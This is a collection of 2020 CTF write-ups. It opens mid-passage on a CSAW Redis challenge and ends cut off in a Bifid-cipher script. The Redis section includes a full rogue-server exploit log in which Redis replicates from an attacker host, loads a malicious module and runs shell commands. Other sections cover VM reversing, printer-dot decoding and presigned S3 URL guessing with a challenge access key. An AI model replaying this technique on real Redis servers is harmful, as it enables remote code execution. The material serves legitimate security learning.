Next we'll need to modify the rogue server code to utilize the data socket we created in our previous script, since it's normallysetup to just directly connect to the target server. To achieve this, we'll copy and paste in our code, and then modify theinitializer for the `Remote` server class in `redis-rogue-server.py`. We'll also need to modify some of the `CONFIG SET` commandsthat determine the payload location, as it's likely that `/app`, where the default database is, is not write-able. You mightalso have to make some tweaks to the handling of addresses and ports depending on if your attack machine is behind a NAT. You can view the full scriptat https://github.com/zoeyg/public-write-ups/blob/master/csaw-2020/redis-rogue-server.py
### Running the Exploit
Assuming everything has gone to plan, we should now be able to run the exploit. Lets give it a try.
```python╭─zoey@virtual-parrot ~/sec/csaw/webrtc/redis-rogue-server ‹master*› ╰─$ ./redis-rogue-server.py --rhost redis-via-turn --rport 22473 --lhost 3.14.182.203 --lport 15240TARGET redis-via-turn:22473SERVER 3.14.182.203:15240generated txn id b'254c37dcf8487fa530d69a26'Raw Allocation Request Response b'\x01\x03\x00(!\x12\xa4B%L7\xdc\xf8H\x7f\xa50\xd6\x9a&\x00\x16\x00\x08\x00\x01\x9e\xb5\x8d\x03\xa4A\x00 \x00\x08\x00\x01\x8c\x08\xa9\n\xf3$\x00\r\x00\x04\x00\x00\x0e\x10\x80"\x00\x04None'Message Type b'\x01\x03'Length 40Cookie b'2112a442'txn ID b'254c37dcf8487fa530d69a26'attribute type XOR-RELAYED-ADDRESSport 49063ip 172.17.0.3value b'00019eb58d03a441'attibute type XOR-MAPPED-ADDRESSport 44314ip 136.24.87.102value b'00018c08a90af324'attribute type LIFETIMEvalue 3600attribute type SOFTWAREvalue None
generated txn id b'72a9a2dc5278c017bf901310'Raw Connect Request Response b'\x01\n\x00\x08!\x12\xa4Br\xa9\xa2\xdcRx\xc0\x17\xbf\x90\x13\x10\x00*\x00\x04C\xef\xd2\x0b'Message Type b'\x01\n'Length 8Cookie b'2112a442'txn ID b'72a9a2dc5278c017bf901310'attribute type CONNECTION_IDvalue b'C\xef\xd2\x0b'
generated txn id b'9aa38664daa8dae52547a56c'Raw ConnectionBind Request Response b'\x01\x0b\x00\x08!\x12\xa4B\x9a\xa3\x86d\xda\xa8\xda\xe5%G\xa5l\x80"\x00\x04None'Message Type b'\x01\x0b'Length 8Cookie b'2112a442'txn ID b'9aa38664daa8dae52547a56c'attribute type SOFTWAREvalue None
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$12\r\n3.14.182.203\r\n$5\r\n15240\r\n'[->] b'+OK\r\n'[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\nDIR\r\n$4\r\n/tmp\r\n'[->] b'+OK\r\n'[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'[->] b'+OK\r\n'[->] b'PING\r\n'[<-] b'+PONG\r\n'[->] b'REPLCONF listening-port 6379\r\n'[<-] b'+OK\r\n'[->] b'REPLCONF capa eof capa psync2\r\n'[<-] b'+OK\r\n'[->] b'PSYNC 1a6db93c270f1d9052f04a3372f80755954ab0da 1\r\n'[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$47856\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\xb4\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$11\r\n/tmp/exp.so\r\n'[->] b'+OK\r\n'[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'[->] b'+OK\r\n'[<<] cat /flag.txt[<-] b'*2\r\n$11\r\nsystem.exec\r\n$27\r\n"cat /flag.txt"\r\n'[->] b'$44\r\nflag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}\n\r\n'[>>] flag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}[<<] ^C[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'[->] b'+OK\r\n'[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$4\r\n/app\r\n'[->] b'+OK\r\n'[<-] b'*2\r\n$11\r\nsystem.exec\r\n$14\r\nrm /tmp/exp.so\r\n'[->] b'$0\r\n\r\n'[<-] b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'[->] b'+OK\r\n'```
Looking at the output, it looks as if everything went to plan! We get an interactive shell after the connection and can run `cat /flag.txt` in order toretrieve the flag. When we hit CTRL+C to cancel the interactivity for the rogue server, it sends clean up commands, restoring the original state.
The full `redis-proxy.py` script is available at https://github.com/zoeyg/public-write-ups/blob/master/csaw-2020/redis-proxy.py, and the modified `redis-rogue-server.py` script is available at https://github.com/zoeyg/public-write-ups/blob/master/csaw-2020/redis-rogue-server.py. |
### CSAW CTF 2020[WebRTC](https://github.com/shouc/writeups/blob/master/webrtc.md)
[flask_caching](https://github.com/shouc/writeups/blob/master/flask_caching.py)
### ASIS CTF 2020[PyCrypto](https://github.com/shouc/writeups/blob/master/pycrypto.md) |
TL;DR:Try putting nine characters instead of 8, because it's actually a strncmp, not a strcmp.
[Original Writeup](https://nischay.me/2020/08/10/PoseidonCTF.html) |
# Google Quals CTF 20: A sprintf VM## An overviewOriginal Link: https://mahaloz.re/ctf/google-quals-2020-sprint/This writeup is based on the `sprint` challenge in google quals 2020. You can find all the challenge files, including our solve, [here](https://github.com/mahaloz/mahaloz.re/tree/master/writeup_code/google-quals-20).In this challenge, Google introduced us to a new type of instruction set, which in turn allowed us to play a video game completely virtualized in the C language's `sprintf` format strings. Through some reverse engineering, and IDA finagling, we created a disassembler for the sprint arch, which is the name we are declaring for this challenges [ISA](https://en.wikipedia.org/wiki/Instruction_set_architecture).
We break this writeup into sections:1. [Investigation](#investigating-the-program)2. [Building an Instruction Lifter](#instruction-lifting)3. [Making readable assembly: optimizations](#ir-optimization-making-readable-assembly)4. [Execution & Decompilation](#decompilation-execution-and-luck)5. [Solving a Maze](#finding-a-game-and-beating-it)
## Investigating the ProgramLet's start by investigating the program in our disassembler of choice. We are lucky enough to have IDA Pro, but this should be doable in Ghidra.
The challenge gives us a very "simple" program that only does four things:1. mmap a region and copy some data into it2. read user input to the mmaped region3. run `sprintf` in a loop with a weird exit condition4. if part of the mmaped region satisfies some constraints, output that region as the flag
By some close examination, we found out that the "some data" in step 1 is actually a huge array of format strings.At this point, we realized that this is a VM based on `sprintf`. And each format string is an "instruction".To clarify, we believed that based on the normal operations of `sprintf` and format strings, one could achieve a [Turing Complete](https://en.wikipedia.org/wiki/Turing_completeness) machine that allowed you to perform all the normal operations in a computer like addition, storing data, and accessing data.
Here is a sample of the aforementioned format strings that we found:```.rodata:0000000000002020 public data.rodata:0000000000002020 ; char data[61748].rodata:0000000000002020 data db '%1$00038s%3$hn%1$65498s%1$28672s%9$hn',0.rodata:0000000000002020 ; DATA XREF: main+46↑o.rodata:0000000000002046 a100074s3Hn1654 db '%1$00074s%3$hn%1$65462s%1$*8$s%7$hn',0.rodata:000000000000206A a100108s3Hn1654 db '%1$00108s%3$hn%1$65428s%1$1s%6$hn',0.rodata:000000000000208C a100149s3Hn1653 db '%1$00149s%3$hn%1$65387s%1$*8$s%1$2s%7$hn',0.rodata:00000000000020B5 a100183s3Hn1653 db '%1$00183s%3$hn%1$65353s%1$1s%6$hn',0.rodata:00000000000020D7 a100218s3Hn1653 db '%1$00218s%3$hn%1$65318s%1$2s%11$hn',0.rodata:00000000000020FA a100264s3Hn1652 db '%1$00264s%3$hn%1$65272s%1$*10$s%1$*10$s%17$hn',0.rodata:0000000000002128 a100310s3Hn1652 db '%1$00310s%3$hn%1$65226s%1$28672s%1$*16$s%7$hn',0```
The `sprintf` loop looks like this:``` while ( format != &ws[1].formats[6137] ) // A3 != 0xfffe sprintf( buffer, format, &nullptr, // A1 0LL, // A2 == 0 &format, // A3 buffer, // A4 (unsigned __int16)*A6, // A5 A6, // A6 &A6, // A7 A8, // A8 &A8, // A9 A10, // A10 &A10, // A11 A12, // A12 &A12, // A13 A14, // A14 &A14, // A15 A16, // A16 &A16, // A17 A18, // A18 &A18, // A19 A20, // A20 &A20, // A21 A22, // A22 &A22); // A23```When taking a look at the variables accessed and used by the initial sprint we realized that these variables are probably used as registers for this architecture. The comments on the right of the variables is the standard names we used to reference the variables, and eventually translate into higher level registers -- like the program counter.
Since the remainder of this writeup will be concerning format strings, it is useful to do a quick overview of the format specifiers relevant to this challenge.
### A brief review of format strings:The relevant specifiers for this challenge are `%n`, `$`, `%h`, `%c`, and `*`:* `%c` specifies to print a character, or a single byte. This includes null bytes. * `%h` specifies the size of the print of the buffer to 2 bytes. This means everything with this specifier will print 2 bytes (a cunning way to always move 2 bytes). * `$` is a specifier to get the `n`th argument of the `printf`. For instance `3$` gets the third buffer relative to the printf.* `%n` is a specifier that allows you to write to a buffer that is used in the `printf`. It will write to the buffer the number of charcters printed before the `%n`. An example can be found [here](https://www.geeksforgeeks.org/g-fact-31/).* `*` is the trickest specifier for this challenge. The `*` is a dynamic specifier that determines the size of printing based on the next argument with an integer. For instance, if the next argument is `5`, it will print something with a size of `5` -- or 5 charcter slots. An example can be found [here](https://en.wikipedia.org/wiki/Printf_format_string#Width_field) also.
With this knowledge we can parse the first part of the first format string: `%1$00038s%3$hn`.The `1$` accesses the first argument; the `00038s` prints a string that is of length 38, right formatted. The `%3$hn` then writes the value `38` formatted to 2 bytes to the third argument to `sprintf`. In conclusion, this instruction moved the value `0x0026` to register `A3`.
## Instruction LiftingAlthough we still had no idea how the VM worked at this point, we decided to write a lifter for the format string instructions and translate it into a human readable assembly. We needed to do some [lifting](https://reverseengineering.stackexchange.com/questions/12460/lifting-up-binaries-of-any-arch-into-an-intermediate-language-for-static-analysi)!
As noobs in reversing, we decided to do this in two overarching steps: a **syntax parser** and a **semantic parser** -- a similar path that a normal compiler takes.
### Syntax ParserThe syntax parser simply parses the format strings and gets information like what formatter it uses, which argument it takes, etc. For example, `%1$00038s` will be parsed as: `arg_num=1, con_len=38, formatter='s', len_arg_num=None` where `con_num` is the concrete length. `len_arg_num` is used for format string like `%1$*16$s` which takes the 16th argument as the length parameter.
During writing the syntax parser, we realized that the program constantly writes to the third parameter (we named it `A3` as shown above). We guessed it was something like a program counter (PC). It turned out we were right.
### Semantic ParserThe semantic parser is built upon the syntax parser. It takes the output from the syntax parser and then translates it into an assembly style [Intermediate Representation](https://www.sciencedirect.com/topics/computer-science/intermediate-representation) (IR). As explained earlier, `%1$00038s%3$hn` writes 38 to `A3`. So, the semantic parser outputs `A3 = 38`.
During writing the semantic parser. We found a lot of interesting things:1. each "instruction" may consist of 1 or 2 "micro-ops". For example, `%1$00038s%3$hn%1$65498s%1$28672s%9$hn` will be translated into `A3 = 0x26, A9 = 0x7000`2. there is an amazing conditional jump instruction. Basically, it uses that fact that `%c` can output `\x00`. If the argument is equal to 0, it outputs `\x00` to the internal buffer, the internal buffer contains a shorter string. If the argument is not equal to 0, it outputs a valid character and the internal buffer contains a longer string. And then it writes the length of the internal string to `A3`. By carefully controlling the lengths of different strings, this mechanism can behave like `if-else` statement.3. each general "register" has two handles: a read handle and a write handle. This has nothing to do with the VM architecture. It's just an easy way to perform read/write in `sprintf`. As shown above, `A11` actually is the write pointer to `A10`.4. loop exists in the VM. What's worse, by reading the IR, we quickly identified the existence of nested loops. 
A sample IR looks like this:```---- 0 ----A3 = 0x26A9 = 0x7000-------------
---- 1 ----A3 = 0x4aA7 = max(A8, A1)-------------
---- 2 ----A3 = 0x6cA6 = 0x1-------------
---- 3 ----A3 = 0x95A7 = max(A8, A1) + 0x2-------------
---- 4 ----A3 = 0xb7A6 = 0x1-------------
---- 5 ----A3 = 0xdaA11 = 0x2-------------
---- 6 ----A3 = 0x108A17 = max(A10, A1) + max(A10, A1)-------------
---- 7 ----A3 = 0x136A7 = 0x7000 + max(A16, A1)-------------
---- 8 ----A3 = 0x15bA15 = max(A5, A1)-------------
---- 9 ----A3 = COND_JUMP_A14 + 0x1a3 + 1 + A4 + 0xffdb-------------```
## IR Optimization: Making Readable AssemblyNow that we have a relatively readable IR, what's next? Optimization of course.
This IR is far from optimized. For example, it shows `A3 = <num>`; however, what does it mean? In fact, it overwrites the last two bytes of the format string pointer so in the next `sprintf` loop, another format string will be processed. Basically, `A3` is the program counter! We realized it would be nice if we could show it like `PC = 5` for basic blocks instead of weird `A3 = 0xb7`.
There are many ways to achieve this. The most obvious way is to modify how we emit this IR. But personally, we hate this method, it just makes thing dirty.we chose to do an LLVM-pass style optimization. It takes the raw IR and perform optimization pass-by-pass.
We implemented several passes. After the optimization, the optimized IR looks like this:```---- 0 ----PC = 1 # A3 = 38A8 = 0x7000-------------
---- 1 ----PC = 2 # A3 = 74ptr = A8-------------
---- 2 ----PC = 3 # A3 = 108*ptr = 0x1-------------
---- 3 ----PC = 4 # A3 = 149ptr = A8 + 0x2-------------
---- 4 ----PC = 5 # A3 = 183*ptr = 0x1-------------
---- 5 ----PC = 6 # A3 = 218A10 = 0x2-------------
---- 6 ----PC = 7 # A3 = 264A16 = A10 + A10-------------
---- 7 ----PC = 8 # A3 = 310ptr = 0x7000 + A16-------------
---- 8 ----PC = 9 # A3 = 347A14 = *ptr-------------
---- 9 ----PC = 10 if A14 == 0 else 21 # A3 = 384 if A14 == 0 else 804-------------```
## Decompilation, Execution, and LuckAt this stage, we had a highly readable IR. Hardcore reversers would be happy enough with it and figure out the logic pretty quickly. However, as reversing noobs, we chose another approach: translate it to x86_64 assembly, open it in IDA and get it's IDA decompilation.The idea is based on the fact that control flow transition is done by setting `PC`. We can simply add a label for each basic block and translate `PC = 1; A8 = 0X7000` to `di = 0x7000; jmp label1`. The idea is nasty, but it worked pretty well. IDA is smart enough to understand the function even if there are many `jmp` instructions in it.
The moment we pressed F5 (decompile), our hearts stopped... It worked!The outputted decompilation was pretty readable for the most part:
```c v0 = sys_mmap(0LL, 0x10000uLL, 3uLL, 0x32uLL, 0xFFFFFFFFFFFFFFFFLL, 0LL); v1 = sys_read(0, (char *)0xE000, 0x100uLL); HIWORD(v2) = 0; v3 = 28674LL; MEMORY[0x7000] = 1; MEMORY[0x7002] = 1; v4 = 2; do { LOWORD(v3) = 2 * v4 + 28672; if ( !*(_WORD *)v3 ) { for ( i = 2 * v4; ; i += v4 ) { LOWORD(v3) = -17; *(_WORD *)v3 = i; LOWORD(v3) = -16; if ( *(_WORD *)v3 ) break; LOWORD(v3) = 2 * i + 28672; *(_WORD *)v3 = 1; } } ++v4; } [truncated]```
Most amazingly, with some prologue, epilogue and most importantly some luck, this binary actually runs with `mmap_min_addr` set to 0(due to the fact that the VM uses address 0).
## Finding a Game and Beating It
At this stage, the flag is not far from reach. We had extracted the program on the inside of this `sprintf` VM and we now had a way to execute, debug, and understand it. Quickly, we noticed that this was a game based on this code:
```cif ( j != (__int16)0xFF02 ) goto label143; LOWORD(v2) = 0; v7 = 0; LOWORD(v3) = -3840; v8 = *(_WORD *)v3; v9 = 1; while ( 1 ) { LOWORD(v3) = v2 - 0x2000; v10 = *(_WORD *)v3; if ( !*(_WORD *)v3 ) break; LOWORD(v2) = v2 + 1; switch ( v10 ) { case 'u': v11 = -16; break; case 'r': v11 = 1; break; case 'd': v11 = 16; break; case 'l': v11 = -1; break; default: v9 = 0; v11 = 0; break; } [truncated]```We took special notice that it was interpreting up, down, left, right and changing our coordinates with each move. We realized the coordinates were in the form of a byte. So `0x12` translated to `(2,1)` on a normal (x,y) plane where the top right of the gird is `(0,0)`. You can verify this based on the subtraction of 16 when moving up, and the addition of 1 when moving right -- this is to access the high and low components of the byte.
Continuing our examination, we realized that this game was a maze. Each byte of user input is interpreted as a move. We need to play the game and reach 9 checkpoints in a specified sequence within 254 steps. We came to this conclusion based on the final check in the game:
```cif ( v9 && v7 == 9 )```Which does a check to see if you made it to 9 checkpoints. It then confirms this by making sure you hit each check point in the right order. The map of the maze is generated during runtime. To get it, hardcore reversers may read the nested loop logic and figure it out. We noobs with a binary in hand can attach to a gdb and dump the memory to figure it out. The map dumped to this:
```c***************** * * * * ***** ******* * * * * ***** * * * *** * * *** *** ******** * * * * ***** *** ***** * * ** * ***** * **** * * * ** *** * * * ***** **** * ***** * *** * * * ```The positions that we need to visit is actually embedded in the data section of the raw `sprint` binary at `0x11020`. After extracting that, we were left with a maze that had checkpoints and our starting location (marked with an 'X').
```c*****************X* * 9* * ***** ******* * * * 6* ***** * * * ***3*5**** *** ******** *8 * *1* ***** *** ***** * * ** * ***** * **** * * *4** *** * * * ***** **** * ***** * ***7 * * * 2```
Putting everything together, we wrote a python script to play the game. Clever reversers may write a DFS algorithm to solve the maze automatically. However, we are noobs, noobs know nothing about automation. We wrote an interpreter for the game and solved it by hand.
Our winning movements looked something like this:
## Thanks where thanks is dueThis challenge was in no way a one man effort, as you can likely tell from the writing style. This challenge would not have been possible without [kylebot](http://kylebot.net/about/) on Shellphish. We struggled through the night, and he played a huge part in the chall (much more major than I). Also, shoutout to any other people who jumped in the Shellphish Discord and gave their two cents.
## ConclusionThis was a very very fun challenge to do. Now we know `even printf is turing complete`. The most impressive part to us is the `if-else` instruction. That was mind-blowing to us when we figured it out. I don't have any complaints about this challenge. The experience was flawless and the maze was quick enough to be solvable. If you too are reversing noob, know that even you can solve a hard challenge if you put in the time :). |
# NSA Whistleblower
We're provided with a [PDF file](https://github.com/dogelition/ctf-writeups/blob/master/2020/ALLES/NSA%20Whistleblower/NSA_leak.pdf) and the description "Psst... The most secret data is hidden in plain sight".
Unfortunately, we weren't able to solve this challenge during the CTF. We tried various PDF tools, inspected the images, looked for hidden stuff in the fonts, the text, etc. A few days after the CTF ended, we finally found the solution and realized how simple it actually was.
All you have to do is zoom in on the PDF or mess with the colors to realize that there are yellow dots all over the pages. A quick search for "yellow dots" leads to a [wikipedia article](https://en.wikipedia.org/wiki/Machine_Identification_Code), explaining that these dots are produced by certain printers (the provided PDF definitely hasn't been through a printer, but whatever...). We then found [deda](https://github.com/dfd-tud/deda) which can read the data encoded using these dots.
We can use `pdftoppm` to convert the PDF pages to .png images so that deda can read them:
```pdftoppm NSA_leak.pdf nsa -png```
This produces files named `nsa-1.png` through `nsa-8.png`.
We can now invoke deda on the images:
```deda_parse_print nsa-1.png```
Output:
```Detected pattern 4
_|0|1|2|3|4|5|6|70|1|.2|.3|. . .4| . . .5| . . .6|.7|.8| . . .9| .0| .1| .2| .3|.4|. . .5|. . . 27 dots.
<TDM of Pattern 4 at 0.00 x -0.00 inches>Decoded: manufacturer: Xerox serial: -657676- timestamp: 2042-02-04 04:20:00 raw: 0000657676000042020404040020 minutes: 20 hour: 04 day: 04 month: 02 year: 42 unknown1: 00 unknown3: 00 unknown4: 00 unknown5: 00 printer: 00657676```
The timestamp basically just consists of the number `42`, so it's not very interesting. But the serial seems to be the first 3 characters of the flag (`ALL`), encoded in decimal! If we concatenate the serial numbers from all pages and put spaces in the right spots, we end up with this decimal sequence:
`65 76 76 69 83 123 115 51 99 114 51 116 95 100 48 116 115 125`
After decoding it using "From Decimal" on [CyberChef](https://gchq.github.io/CyberChef), we get the flag:
`ALLES{s3cr3t_d0ts}` |
Whistleblow250 points, Web
Congratulations, CSAW. This was, by far, the guessiest challenge I have ever seen.The challenge starts off with a letter:```Hey Fellow Coworker,
Heard you were coming into the Sacremento office today. I have some sensitive information for you to read out about company stored at ad586b62e3b5921bd86fe2efa4919208 once you are settled in. Make sure you're a valid user!Don't read it all yet since they might be watching. Be sure to read it once you are back in Columbus.
Act quickly! All of this stuff will disappear a week from 19:53:23 on September 9th 2020.
- Totally Loyal Coworker```ad586b62e3b5921bd86fe2efa4919208? What is that? Is it a crypto address of some kind? Some type of md5 hash? OMG what ambiguity! What? Some hints came out talking about "preload"? What? "preload" is related to AWS S3? How obvious that a 128-bit hash without a URL would be and S3 bucket!Sarcasm aside, that's where the challenge starts. After creating an AWS account for authentication credentials, I queried the s3 bucket under that name in us-west-1 (due to the letter saying Sacremento).```$ aws s3 ls s3://ad586b62e3b5921bd86fe2efa4919208 PRE 06745a2d-18cd-477a-b045-481af29337c7/ PRE 23b699f9-bc97-4704-9013-305fce7c8360/ PRE 24f0f220-1c69-42e8-8c10-cc1d8b8d2a30/ PRE 286ef40f-cee0-4325-a65e-44d3e99b5498/ PRE 2967f8c2-4651-4710-bcfb-2f0f70ecea5c/ PRE 2b4bb8f9-559e-41ed-9f34-88b67e3021c2/ PRE 32ff8884-6eb9-4bc5-8108-0e84a761fe2c/ PRE 3a00dd08-541a-4c9f-b85e-ade6839aa4c0/ PRE 465d332a-dd23-459b-a475-26273b4de01c/ PRE 64c83ba4-8a37-4db8-b039-11d62d19a136/ PRE 6c748996-e05a-408a-8ed8-925bf01be752/ PRE 7092a3ec-8b3a-4f24-bdbd-23124af06a41/ PRE 84874ee9-cee1-4d6b-9d7a-24a9e4f470c8/ PRE 95e94188-4dd1-42d8-a627-b5a7ded71372/ PRE a50eb136-de5f-4bb6-94ef-e1ee89c26b05/ PRE b2896abb-92e7-4f76-9d8a-5df55b86cfd3/ PRE c05abd3c-444a-4dc3-9edc-bb22293e1e0f/ PRE c172e521-e50d-4e30-864b-f12d72f8bf7a/ PRE c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/ PRE ff4ad932-5828-496b-abdc-6281600309c6/```And... it's a bunch of random folders. And each of these folders have a bunch of random files. Great.So... I did what any sane person would do and downloaded all the files and all the folders, then cat'd all files and manually sifted through the jumbled mess. Turns out most of the files are 30 bytes large with only lowercase letters, but some others are more... interesting. I used find to extract all files smaller or larger than 30 bytes.```$ find . -type f -size '+30c'./6c748996-e05a-408a-8ed8-925bf01be752/c1fe922c-aec8-4908-a97d-398029d39236/77010958-c8ed-4a7b-802a-f189d0f76ec0.txt./3a00dd08-541a-4c9f-b85e-ade6839aa4c0/3fa52aaa-78ed-4261-8bcc-04fc0b817395/4bcd2707-48db-4c04-9ec7-df522de2ccd7.txt$ find . -type f -size '-30c'./c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/acbad485-dd20-4295-99fa-f45e3d5bdb45/1eaddd5d-fe24-4deb-8e6e-5463f395fa03.txt./7092a3ec-8b3a-4f24-bdbd-23124af06a41/7db7f9b0-ab6a-4605-9fc1-1cc8ba7877a1/1b56b43a-7525-429a-9777-02602b52dc1e.txt```Looks like there were four files which weren't of length 30. Let's look at all of them.```AKIAQHTF3NZUTQBCUQCK.sorry/.for/.nothing/3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6bs3://super-top-secret-dont-look```So... one of them was a directory, one of them was an AWS identity, one of them was a hash (signature) of some kind, and one of them was an s3 bucket. Nice.Where was this second s3 bucket? Well, according to the letter, it should be near Columbus, Ohio. us-east-2 is in Ohio, so that's our choice. Unfortunately, when I tried to query that bucket, my access to it was denied. Looks like I'll need to use a presigned signature. After tons of Googling, I was able to pull up what looked to be Amazon's documentation for their v4 presigning protocol. By adapting the information we have in our letter as our signature date and expiry, we were able to fill out most of the fields. However, we still weren't sure what the directory was or whether the timezone specified in the letter was Zulu or EST.
I automated this guessing.
```$ cat guessCTF.pyimport os, time
#times = [1600286003, 1600286004, 1600286003+3600*4, 1600286003+3600*7, 1600286004+3600*4, 1600286004+3600*7]folds = ["", ".sorry", ".sorry/.for", ".sorry/.for/.nothing", ".sorry/", ".sorry/.for/", ".sorry/.for/.nothing/"]folds2 = []
for i in folds: if len(i)==0 or i[-1] == '/': folds2.append(i + 'flag.txt')
folds += folds2
for fold in folds: for pend in ["%2F20200909%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200909T195323Z&X-Amz-Expires=604800", "%2F20200910%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200910T005323Z&X-Amz-Expires=604800"]: os.system("curl -k 'https://super-top-secret-dont-look.s3.us-east-2.amazonaws.com/%s?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAQHTF3NZUTQBCUQCK%s&X-Amz-SignedHeaders=host + "&X-Amz-Signature=3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b'" % (fold, pend))```
And in the middle of a lot of errors, we find the flag:`...snip...0a 55 4e 53 49 47 4e 45 44 2d 50 41 59 4c 4f 41 44</CanonicalRequestBytes><RequestId>606AA7C8D430C274</RequestId><HostId>2orULiGTdbuCaZVlhTvnkoevvyhJYw0HQAdYjjS8cAlFW9ZlMpzzfxK0ZaNjGWVU9WUSJJhCs94=</HostId></Error>flag{pwn3d_th3_buck3ts} <Error>SignatureDoesNotMatch<Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message><AWSAccessKeyId>AKIAQHTF3NZUTQBCUQCK</AWSAccessKeyId><StringToSign>AWS4-HMAC-SHA256 20200910T005323Z 20200910/us-east-2/s3/aws4_request 03bfea4d4190458db117167a75b25e30857d683fe59f13a3b286ab8735db4cfd</StringToSign><SignatureProvided>3560cef4b02815e7c5f95...snip...` |
# Basics
> With all those CPU bugs I don't trust software anymore, so I came up with my custom TPM (trademark will be filed soon!). You can't break this, so don't even try.> > basics.2020.ctfcompetition.com 1337
This challenge gives us two files:
- `check.sv`, a SystemVerilog file that describes a `check` module with an `open_safe` output;- `main.cpp`, which asks for a password, feeds it to the `check` module and prints the flag if `open_safe` is true.
We need to understand the conditions that will set `open_safe` to true, so let's take a closer look at `check.sv`.
```verilogmodule check( input clk,
input [6:0] data, output wire open_safe);```
The `[6:0]` notation represents a 7 bit wide bus, with the least significant bit on the right (index 0) and the most significant bit on the left (index 6). The module receives 7 bits of input at a time, which corresponds to an ASCII character.
```verilogreg [6:0] memory [7:0];reg [2:0] idx = 0;```
There are 8 `memory` registers, each one 7 bits wide, and a single `idx` register, 3 bits wide and initially set to 0.
```verilogwire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]}};
wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] };assign open_safe = kittens == 56'd3008192072309708;```
Now comes some wire tangling. The `magic` wire reoders the `memory` registers and the `kittens` wire reorders the `magic` wire. `open_safe` will be true if the output of `kittens` is equal to the decimal number 3008192072309708, so we'll need to untangle this. We can already infer that our password is 8 characters wide, for a total of 7 × 8 = 56 bits.
```verilogalways_ff @(posedge clk) begin memory[idx] <= data; idx <= idx + 5;end```
At each clock cycle, the input data is saved to the `idx` index of `memory`. Notice, however, that `idx` is 3 bits wide and we're adding 5 a few times, so `idx` will overflow and its value will wrap around.
Let's use `abcdefgh` as our input to see how this module will behave at each clock cycle:
1. `idx` = 0; `memory[0] <= 'a'`; `idx <= idx + 5`;2. `idx` = 5; `memory[5] <= 'b'`; `idx <= idx + 5`; (Overflow!)3. `idx` = 2; `memory[2] <= 'c'`; `idx <= idx + 5`;4. `idx` = 7; `memory[7] <= 'd'`; `idx <= idx + 5`; (Overflow!)5. `idx` = 4; `memory[4] <= 'e'`; `idx <= idx + 5`; (Overflow!)6. `idx` = 1; `memory[1] <= 'f'`; `idx <= idx + 5`;7. `idx` = 6; `memory[6] <= 'g'`; `idx <= idx + 5`; (Overflow!)8. `idx` = 3; `memory[3] <= 'h'`; `idx <= idx + 5`;
Therefore, from `memory[0]` to `memory[7]` we have `{a, f, c, h, e, b, g, d}`. The `magic` wire reorders those registers once again, which results in `{a, b, g, c, e, h, d, f}`.
We need `kittens` to be equal to 3008192072309708, which is 00001010101011111110111101001011111000101101101111001100 in binary (notice the left zeroes to have exactly 56 bits). The first 10 bits of `kittens` correspond to `magic[9:0]`, the next 20 bits correspond to `magic[41:22]` and so on. By rearranging those bits, we can find out what value we need `magic` to have:
```kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] } 0000101010 | 10111111101111010010 | 111110001011 | 01101111001100
{ magic[55:42], magic[41:22], magic[21:10], magic[9:0] } 01101111001100 | 10111111101111010010 | 111110001011 | 0000101010```
Now we know the value of `magic` should be 01101111001100101111111011110100101111100010110000101010. If we split this value into groups of 7 bits, we'll find the following ASCII characters: `7L_o%xX*`. We also know that if our input is `abcdefgh` the value of `magic` will be `{a, b, g, c, e, h, d, f}`, so if we want `magic` to be `7L_o%xX*` we can reverse the logic:
```abgcehdf => abcdefgh7L_o%xX* => 7LoX%*_x```
By submitting `7LoX%*_x` as the password, we obtain our flag!
Flag: `CTF{W4sTh4tASan1tyCh3ck?}` |
[used the base64 primitive to get flag](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/CSAW_quals/pwn_slithery/writeup_pwn_slithery.html) |
```#!/usr/bin/env python3
#importing Bifid from pycipher import Bifidfrom string import *from pwn import *
#given message:message="snbwmuotwodwvcywfgmruotoozaiwghlabvuzmfobhtywftopmtawyhifqgtsiowetrksrzgrztkfctxnrswnhxshylyehtatssukfvsnztyzlopsv"
#list that holds all the lines of the rambling filerambls=[]
#opening the given file and creating a listwith open("ramblings", "r") as file: pangrams=file.readlines() for pangram in pangrams: #removing punctuation, spaces, new lines, and "j" as Bifid ciphers do not involve j x=pangram.lower().translate(str.maketrans("","",punctuation)).replace(" ", "").replace("\n", "").replace("j", "") rambls.append(x)
